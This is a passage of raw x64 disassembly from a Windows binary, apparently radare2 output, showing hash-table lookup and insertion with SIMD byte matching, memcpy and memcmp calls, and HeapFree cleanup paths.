movups xmm0, xmmword [rsp + 0x168]
movaps xmmword [rsp + 0x9b0], xmm0
mov rax, qword [rsp + 0x178]
mov qword [rsp + 0x9c0], rax
mov rax, qword [rsp + 0x6e8]
lea rcx, [rsp + 0x9f8]
mov qword [rcx + 0x10], rax
movdqu xmm0, xmmword [rsp + 0x6d8]
movdqu xmmword [rcx], xmm0
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0xa30], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0xa38], rax
mov qword [rsp + 0xa40], 0
mov eax, dword [rsp + 0xac]
mov dword [rsp + 0xa50], eax
mov byte [rsp + 0xa58], 0
mov byte [rsp + 0xa55], 2
lea rcx, [rsp + 0x4e8]
lea rdx, [rsp + 0x9b0]
call fcn.1400e90d0
mov rcx, qword [rsp + 0x4e8]
mov rax, rcx
mov qword [rsp + 0x68], rcx
test rcx, rcx
je 0x14000b991
cmp dword [rsp + 0x68], 4
je 0x14000b99e
mov rdi, qword [rsp + 0x4f0]
mov r15, qword [rsp + 0x4f8]
jmp 0x14000b9ef
mov rcx, qword [rsp + 0x4f0]
call fcn.1400986c0
cmp word [rsp + 0xa48], 3
mov eax, 1
mov qword [rsp + 0x68], rax
jne 0x14000b9cc
mov r15d, 0x2b
cmp byte [rsp + 0xa55], 2
jne 0x14000b9cc
lea rdi, [0x1401d6769]
jmp 0x14000b9ef
mov rax, qword [rsp + 0xa30]
mov r15d, 0x1b
lea rdi, [0x1401d6794]
add rax, qword [rsp + 0x160]
jae 0x14000bdfe
lea rcx, [rsp + 0x9b0]
call fcn.140098730
test dword [rsp + 0xc0], 0x800
je 0x14000c118
cmp qword [rsp + 0x118], 0
je 0x14000ba2e
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0xf8]
call sub.KERNEL32.dll_HeapFree
cmp qword [rsp + 0x140], 0
je 0x14000c118
cmp qword [rsp + 0x150], 0
je 0x14000ba5e
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x148]
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xd8], rax
cmp qword [rsp + 0x98], 0
je 0x14000c118
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x58]
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0xd8]
cmp rax, qword [rsp + 0x100]
je 0x14000c118
mov r8d, 0x90
lea rcx, [rsp + 0x920]
lea rdx, [rsp + 0x1d8]
call sub.msvcrt.dll_memcpy
test rdi, rdi
je 0x14000baec
js case.0x140008008.0
movzx eax, byte [0x140254141]
xor ecx, ecx
mov rdx, rdi
call fcn.14008bd10
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x14000baf6
jmp case.0x140008008.0
mov eax, 1
mov qword [rsp + 0x58], rax
mov rsi, qword [rsp + 0x58]
mov rcx, rsi
mov rdx, qword [rsp + 0x68]
mov r8, rdi
call sub.msvcrt.dll_memcpy
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x98], rax
movups xmm0, xmmword [rsp + 0x610]
movaps xmmword [rsp + 0x910], xmm0
lea rcx, [rsp + 0x910]
mov rdx, rsi
mov r8, rdi
call fcn.14009a4e0
mov rbp, rax
cmp qword [rsp + 0x600], 0
je 0x14000bde4
inc qword [rsp + 0x158]
mov r13, qword [rsp + 0x5f0]
mov rbx, qword [rsp + 0x5f8]
mov rax, rbp
shr rax, 0x39
mov qword [rsp + 0x120], rax
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor eax, eax
mov qword [rsp + 0xc0], rax
xor eax, eax
mov qword [rsp + 0xe0], rax
and rbp, rbx
movdqu xmm8, xmmword [r13 + rbp]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb r12d, xmm0
test r12w, r12w
je 0x14000bbf8
tzcnt eax, r12d
lea ecx, [r12 - 1]
and ecx, r12d
mov r12d, ecx
add rax, rbp
and rax, rbx
shl rax, 5
mov rsi, r13
sub rsi, rax
cmp rdi, qword [rsi - 0x10]
jne 0x14000bbb5
mov rdx, qword [rsi - 0x18]
mov rcx, qword [rsp + 0x58]
mov r8, rdi
call sub.msvcrt.dll_memcmp
test eax, eax
jne 0x14000bbb5
jmp 0x14000bc60
cmp qword [rsp + 0xe0], 1
mov ecx, 1
je 0x14000bc26
pmovmskb eax, xmm8
xor ecx, ecx
test eax, eax
setne cl
tzcnt eax, eax
add rax, rbp
and rax, rbx
mov qword [rsp + 0xe8], rax
mov qword [rsp + 0xe0], rcx
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x14000bd3a
mov rax, qword [rsp + 0xc0]
add rbp, rax
add rbp, 0x10
add rax, 0x10
mov qword [rsp + 0xc0], rax
jmp 0x14000bb9d
mov rax, qword [rsp + 0x98]
mov qword [rsi - 8], rax
test rdi, rdi
je 0x14000bc84
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x58]
call sub.KERNEL32.dll_HeapFree
mov rax, qword [rsp + 0x98]
cmp rax, qword [rsp + 0x4d0]
jne 0x14000bcbb
lea rcx, [rsp + 0x4d0]
mov rdx, qword [rsp + 0x98]
call fcn.140098280
mov rax, qword [rsp + 0x4e0]
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x4d8]
mov rsi, qword [rsp + 0x98]
imul rcx, rsi, 0xb0
mov rdx, qword [rsp + 0xd8]
mov qword [rax + rcx], rdx
mov rdx, qword [rsp + 0x68]
mov qword [rax + rcx + 8], rdx
mov qword [rax + rcx + 0x10], rdi
mov qword [rax + rcx + 0x18], r15
add rcx, rax
add rcx, 0x20
mov r8d, 0x90
lea rdx, [rsp + 0x920]
call sub.msvcrt.dll_memcpy
inc rsi
mov qword [rsp + 0x4e0], rsi
mov rax, qword [rsp + 0x158]
cmp rax, qword [rsp + 0xc8]
lea rsi, [rsp + 0x9b0]
jne 0x14000b240
jmp 0x14000bfd4
mov rax, qword [rsp + 0xe8]
movzx eax, byte [r13 + rax]
test al, al
js 0x14000bd68
movdqa xmm0, xmmword [r13]
pmovmskb eax, xmm0
tzcnt eax, eax
mov qword [rsp + 0xe8], rax
movzx eax, byte [r13 + rax]
and al, 1
movzx eax, al
sub qword [rsp + 0x600], rax
mov rcx, qword [rsp + 0xe8]
lea rax, [rcx - 0x10]
and rbx, rax
mov rax, qword [rsp + 0x120]
mov byte [r13 + rcx], al
mov byte [r13 + rbx + 0x10], al
inc qword [rsp + 0x608]
shl rcx, 5
mov rax, r13
sub rax, rcx
neg rcx
mov qword [r13 + rcx - 0x20], rdi
mov rcx, qword [rsp + 0x58]
mov qword [rax - 0x18], rcx
mov qword [rax - 0x10], rdi
mov rcx, qword [rsp + 0x98]
mov qword [rax - 8], rcx
mov rax, qword [rsp + 0x98]
cmp rax, qword [rsp + 0x4d0]
je 0x14000bc96
jmp 0x14000bcbb
lea rcx, [rsp + 0x5f0]
lea rdx, [rsp + 0x610]
call fcn.140096900
jmp 0x14000bb50
mov qword [rsp + 0xa30], rax
mov rax, qword [rsp + 0x9b0]
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0x9b8]
mov qword [rsp + 0x68], rax
mov rdi, qword [rsp + 0x9c0]
mov r15, qword [rsp + 0x9c8]
mov r8d, 0x90
lea rcx, [rsp + 0x1d8]
lea rdx, [rsp + 0x9d0]
call sub.msvcrt.dll_memcpy
test dword [rsp + 0xc0], 0x800
je 0x14000ba90
mov rax, qword [rsp + 0xf8]
mov qword [rsp + 0x58], rax
cmp qword [rsp + 0x118], 0
jne 0x14000ba7d
jmp 0x14000ba90
call sub.KERNEL32.dll_GetLastError
mov eax, 1
mov qword [rsp + 0x68], rax
lea r14, [0x1401d6b97]
mov r15d, 0x2c
jmp 0x14000bea8
mov r14, rax
xor eax, eax
mov qword [rsp + 0x68], rax
mov rsi, qword [rsp + 0x5f8]
test rsi, rsi
je 0x14000bf67
mov r12, qword [rsp + 0x5f0]
mov rbx, qword [rsp + 0x608]
test rbx, rbx
je 0x14000bf3f
movdqa xmm0, xmmword [r12]
pmovmskb ebp, xmm0
not ebp
lea r13, [r12 + 0x10]
mov rdi, r12
jmp 0x14000bef3
dec rbx
lea eax, [rbp - 1]
and eax, ebp
mov ebp, eax
test rbx, rbx
je 0x14000bf3f
test bp, bp
jne 0x14000bf17
movdqa xmm0, xmmword [r13]
pmovmskb ebp, xmm0
add rdi, 0xfffffffffffffe00
add r13, 0x10
cmp ebp, 0xffff
je 0x14000bef8
not ebp
tzcnt ecx, ebp
shl ecx, 5
mov rax, rdi
sub rax, rcx
cmp qword [rax - 0x20], 0
je 0x14000bee4
mov r8, qword [rax - 0x18]
mov rcx, qword [0x1402540f8]
xor edx, edx
call sub.KERNEL32.dll_HeapFree
jmp 0x14000bee4
mov rax, rsi
shl rax, 5
add rsi, rax
cmp rsi, 0xffffffffffffffcf
je 0x14000bf67
sub r12, rax
add r12, 0xffffffffffffffe0
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, r12
call sub.KERNEL32.dll_HeapFree
mov rdi, qword [rsp + 0x4d8]
mov rdx, qword [rsp + 0x4e0]
mov rcx, rdi
call fcn.140097b50
cmp qword [rsp + 0x4d0], 0
je 0x14000bf9b
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
lea rbp, [rsp + 0x4e8]
mov r12, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x68]
test rcx, rcx
je 0x1400067d2
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, r12
call sub.KERNEL32.dll_HeapFree
jmp 0x1400067d2
movzx eax, byte [0x140254141]
mov edx, 0x78
xor ecx, ecx
call fcn.14008bd10
test rax, rax
je case.0x140008008.0
mov r14, rax
mov qword [rax], 1
mov qword [rax + 8], 1
movups xmm0, xmmword [rsp + 0x4d0]
movups xmmword [rax + 0x10], xmm0
mov rax, qword [rsp + 0x4e0]
mov qword [r14 + 0x20], rax
mov rax, qword [rsp + 0x70]
mov qword [r14 + 0x28], rax
mov rax, qword [rsp + 0x88]
mov qword [r14 + 0x30], rax
mov rax, qword [rsp + 0x128]
mov qword [r14 + 0x38], rax
movdqu xmm0, xmmword [rsp + 0x5f0]
movups xmm1, xmmword [rsp + 0x600]
movups xmm2, xmmword [rsp + 0x610]
movdqu xmmword [r14 + 0x40], xmm0
movups xmmword [r14 + 0x50], xmm1
movups xmmword [r14 + 0x60], xmm2
mov rax, qword [rsp + 0x160]
mov qword [r14 + 0x70], rax
mov r15, qword [rsp + 0xb0]
mov esi, 4
lea rbp, [rsp + 0x4e8]
jmp 0x1400067df
mov rcx, rdi
call fcn.1400ea5d0
mov rcx, qword [rsp + 0x4b8]
call fcn.14017cdb0
cmp qword [rsp + 0x1a0], 0
je 0x14000c0c0
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, qword [rsp + 0x110]
call sub.KERNEL32.dll_HeapFree
cmp byte [rsp + 0xa0], 2
jb case.0x140008008.0
movzx edi, byte [rsp + 0xc0]
mov rax, qword [rsp + 0x80]
shl rax, 0x28
add rax, qword [rsp + 0xe0]
shl rdi, 0x20
or rdi, rax
mov rcx, rdi
call qword [r14]
cmp qword [r14 + 8], 0
je case.0x140008008.0
cmp qword [r14 + 0x10], 0x11
jb 0x14000c105
mov rdi, qword [rdi - 8]
mov rcx, qword [0x1402540f8]
xor edx, edx
mov r8, rdi
call sub.KERNEL32.dll_HeapFree
ud2
mov r14, rdi
jmp 0x14000bea8
cmp qword [rsp + 0x58], 0x3c
jae 0x14000c16f
lea r14, [0x1401d6b1f]
mov esi, 1
jmp 0x14000c1b3
call sub.KERNEL32.dll_GetLastError
mov r14d, eax
shl r14, 0x20
or r14, 2
jmp 0x14000bea1
xor ecx, ecx
mov qword [rsp + 0x68], rcx
mov r14, rax
jmp 0x14000bea8
mov eax, 1
mov qword [rsp + 0x68], rax
mov r15d, 0x20
jmp 0x14000bea8
mov rax, qword [rsp + 0x58]
lea r9, [rax - 0x3c]
lea rcx, [rsp + 0x9b0]
lea rdx, [rsp + 0xb0]
mov r8, rdi
call fcn.1400989f0
cmp qword [rsp + 0x9b0], 0
je 0x14000c1d2
mov rsi, qword [rsp + 0x9b8]
mov r14, qword [rsp + 0x9c0]
mov r15, qword [rsp + 0x9c8]
lea rbp, [rsp + 0x4e8]
mov r12, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x70]
jmp 0x14000bfb5
call fcn.140092d00
mov eax, dword [rsp + 0x9d8]
cmp eax, dword [rsp + 0x9dc]
lea rbp, [rsp + 0x4e8]
mov r12, qword [rsp + 0x88]
mov rcx, qword [rsp + 0x70]
mov esi, 2
jne 0x14000bfb5
mov rcx, qword [rsp + 0x9e8]
mov rdi, qword [rsp + 0x9d0]
add rdi, rcx
jae 0x14000c229
lea r14, [0x1401d6b4e]
mov r15d, 0x28
mov esi, 1
jmp 0x14000c1bb
mov rax, rcx
mov rcx, qword [rsp + 0x9c0]
mov r12, qword [rsp + 0x88]
mov rdx, qword [rsp + 0x58]
jmp 0x14000b04b